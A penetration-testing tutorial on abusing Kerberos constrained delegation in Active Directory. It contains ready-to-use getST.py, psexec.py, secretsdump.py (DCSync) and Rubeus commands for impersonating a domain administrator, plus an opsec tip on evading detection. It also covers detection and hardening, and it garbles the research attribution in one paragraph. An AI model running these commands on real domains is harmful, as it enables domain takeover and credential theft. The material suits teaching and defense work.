Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Kerberos delegation lets a service act on behalf of a user toward a second service — the classic case being a web front end that must reach a back-end database as the browsing user. Constrained delegation (KCD) is the post-Windows-2003 refinement that limits which downstream services an account may impersonate users to, via the msDS-AllowedToDelegateTo attribute. The impersonation itself is performed with the Service-for-User extensions: S4U2Self, which lets a service obtain a ticket to itself on behalf of any user, and S4U2Proxy, which exchanges that ticket for a service ticket to an allowed downstream SPN. Together they are a legitimate, everyday Kerberos feature — and a devastating privilege-escalation primitive when the wrong account is configured for delegation.
The danger is that whoever controls the *key* of a delegation-enabled account can impersonate practically any user — including Domain Admins — to the services listed in its msDS-AllowedToDelegateTo. If that list contains cifs/dc01, ldap/dc01, or host/dc01, the account holder can mint a service ticket to the domain controller as the administrator and take over the domain. Because delegation is often configured on service accounts whose passwords are weak or Kerberoastable, this turns a mid-tier credential into domain compromise, and it is a staple of BloodHound’s ‘AllowedToDelegate’ attack paths.
Attack Prerequisites
KCD abuse requires control of a delegation-configured account and a target service it is trusted to reach:
- Control of an account with
msDS-AllowedToDelegateTopopulated — you know its password or NT/AES key (obtained via Kerberoast, a dumped hash, or because you compromised the host running the service). - A valuable SPN in that delegation list — e.g.
cifs,host,ldap, orhttpon a domain controller or another high-value server. - For self-contained abuse, the protocol-transition flag —
TRUSTED_TO_AUTH_FOR_DELEGATION(userAccountControl0x1000000) set on the delegating account, so S4U2Self returns a *forwardable* ticket without the user ever authenticating. - A target user who is delegatable — not marked ‘Account is sensitive and cannot be delegated’ and not a member of Protected Users.
- Network access to a DC/KDC (88) and the target service to replay the resulting ticket.
How It Works
S4U2Self exists so a service that authenticated a user by some non-Kerberos means (a web form, a certificate) can still obtain a Kerberos service ticket for that user *to itself*. The service asks the KDC for a ticket ‘to me, on behalf of alice’, and the KDC obliges — it does not verify that alice is actually present, because the ticket is only to the requesting service. Whether that ticket comes back forwardable is the crux: it is forwardable only if the account holds TRUSTED_TO_AUTH_FOR_DELEGATION (the ‘use any authentication protocol’ / protocol-transition setting). Forwardable is what S4U2Proxy needs.
S4U2Proxy then presents that forwardable ticket-to-self as evidence and asks the KDC for a ticket to a downstream SPN. The KDC checks that the requested SPN is present in the requesting account’s msDS-AllowedToDelegateTo; if so, it issues a service ticket to that SPN with the *impersonated user’s* identity in the PAC. The downstream service sees a valid ticket for the administrator and grants corresponding access. From the attacker’s seat, controlling the delegating account’s key lets you drive both legs and emerge with a service ticket to the target as any user you choose.
Two subtleties make KCD abuse broader than it first appears. First, the KDC only validates the *host/SPN* recorded in the delegation list, not the service class you ultimately request — so a delegation to cifs/dc01 can be swapped for ldap/dc01, host/dc01, or http/dc01 (the ‘alternate service name’ trick), dramatically widening what you can do on the target. Second, without protocol transition you can still abuse S4U2Proxy if you can obtain a genuinely forwardable ticket for the victim by other means — but protocol transition is what makes the attack fully self-service.
Vulnerable Configuration: The Delegation Attributes
The misconfiguration lives in two attributes on the delegating account. msDS-AllowedToDelegateTo names the reachable services, and the userAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION bit enables protocol transition. Reading the account over LDAP shows the dangerous state — a service account trusted to delegate to the DC’s CIFS service:
dn: CN=svc-web,OU=Service Accounts,DC=corp,DC=local
sAMAccountName: svc-web
servicePrincipalName: http/web01.corp.local
msDS-AllowedToDelegateTo: cifs/dc01.corp.local
cifs/DC01
# userAccountControl includes TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000)
userAccountControl: 16781312
TEXTThe equivalent when this is set through the GUI is the account’s Delegation tab reading ‘Trust this user for delegation to specified services only — Use any authentication protocol’ (the ‘any protocol’ radio is protocol transition; ‘Kerberos only’ omits the TRUSTED_TO_AUTH_FOR_DELEGATION bit). PowerView surfaces both properties at once:
# Hunt for constrained-delegation accounts and their targets.
Get-DomainUser -TrustedToAuth |
Select-Object samaccountname, msds-allowedtodelegateto, useraccountcontrol
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
PowerShellAny account you can compromise (crack via Kerberoast, or whose hash you hold) that carries a privileged SPN in this list is a direct path to impersonation against that service.
Walkthrough / Exploitation
Assume you have recovered the NT hash of svc-web (e.g. by Kerberoasting it and cracking the ticket). From Linux, impacket’s getST.py performs the whole S4U2Self + S4U2Proxy exchange and impersonates the administrator to the delegated CIFS service:
# S4U -> service ticket to cifs/dc01 as Administrator, saved as a ccache.
getST.py -spn cifs/dc01.corp.local -impersonate Administrator \
-hashes :<svc-web_NT_hash> -dc-ip 10.10.10.10 \
corp.local/svc-web
# -> Administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache
BashBecause the KDC does not bind the service class, you can retarget to a more useful service on the same host — getST.py exposes this via -altservice, so a CIFS delegation becomes an LDAP ticket for DCSync or a HOST ticket for remote execution:
# Same delegation, but request ldap/ on the DC for DCSync.
getST.py -spn cifs/dc01.corp.local -altservice ldap \
-impersonate Administrator -hashes :<svc-web_NT_hash> \
-dc-ip 10.10.10.10 corp.local/svc-web
BashLoad the ticket and use it. Any impacket tool honours KRB5CCNAME with -k -no-pass:
export KRB5CCNAME=Administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache
# Interactive SMB / execution as Administrator on the DC:
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# Or, with the ldap alt-service ticket, DCSync every credential:
secretsdump.py -k -no-pass corp.local/Administrator@dc01.corp.local -just-dc
BashThe Windows equivalent is a single Rubeus s4u, which also demonstrates the alternate-service trick with /altservice and injects the resulting ticket with /ptt:
Rubeus.exe s4u /user:svc-web /rc4:<svc-web_NT_hash> \
/impersonateuser:Administrator \
/msdsspn:cifs/dc01.corp.local /altservice:ldap,host,http \
/domain:corp.local /ptt
TEXTNote: S4U2Self returns a usable forwardable ticket for the target only when the delegating account has protocol transition (
TRUSTED_TO_AUTH_FOR_DELEGATION). If the account is ‘Kerberos only’, you must supply a genuinely forwardable ticket for the victim (e.g. obtained via an RBCD chain or a coerced authentication) as the additional ticket to S4U2Proxy. Also note accounts marked ‘sensitive and cannot be delegated’ or in Protected Users cannot be impersonated this way — pick a different high-value, delegatable target.
Opsec: The alternate-service trick is high value and low cost because the KDC never validates the service class — but each S4U2Proxy request is a TGS-REQ visible on the DC. Requesting impersonation of the built-in Administrator to a DC service is a loud signal; where the objective allows, impersonate a less-scrutinised privileged account. Constrained delegation abuse is frequently confused with *resource-based* constrained delegation (RBCD), which writes
msDS-AllowedToActOnBehalfOfOtherIdentityon the *target* instead.
Detection and Defense
Delegation abuse is detectable in Kerberos ticket logs and preventable by restricting and hardening delegation configuration:
- Event ID 4769 (Kerberos service ticket requested) — S4U2Proxy requests carry a distinctive transited/second-ticket pattern; alert on service tickets to Tier-0 SPNs on behalf of privileged users from delegation accounts.
- Event ID 4768/4769 correlation — an impersonated privileged user appearing in tickets it never interactively requested is a strong signal.
- Mark Tier-0 accounts ‘sensitive and cannot be delegated’ and add all privileged users to the Protected Users group so they cannot be impersonated via S4U.
- Minimise and audit delegation — remove
TRUSTED_TO_AUTH_FOR_DELEGATIONwhere protocol transition is not required, keepmsDS-AllowedToDelegateTolists tight, and never allow delegation to DC services. - Harden delegation accounts — give service accounts long random passwords / gMSAs so they cannot be Kerberoasted into an attacker’s hands.
- Review with BloodHound — treat any AllowedToDelegate edge toward a DC or Tier-0 host as critical.
Real-World Impact
S4U delegation abuse was popularised by Will Schroeder and Lee Christensen’s ‘Wagging the Dog’ research (Elad Shamir, 2019) and by the Rubeus and impacket getST.py tooling, and it remains one of the most reliable escalation primitives on internal engagements. It pairs naturally with Kerberoasting (crack the service account, then delegate as admin) and with RBCD chains that manufacture the write primitive needed to configure delegation in the first place. The alternate-service-name trick in particular makes a narrow-looking CIFS delegation equivalent to full control of the target host.
Conclusion
Constrained delegation with protocol transition is a loaded gun pointed at whatever services sit in msDS-AllowedToDelegateTo: control the delegating account’s key and S4U2Self plus S4U2Proxy let you impersonate almost any user to those services — and the KDC’s indifference to service class widens a single delegated SPN into control of the whole host. Defenders should treat every delegation configuration as Tier-0 sensitive: minimise it, never point it at a domain controller, protect privileged accounts from being impersonated with Protected Users and the ‘sensitive’ flag, and give delegation accounts credentials that cannot be Kerberoasted.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments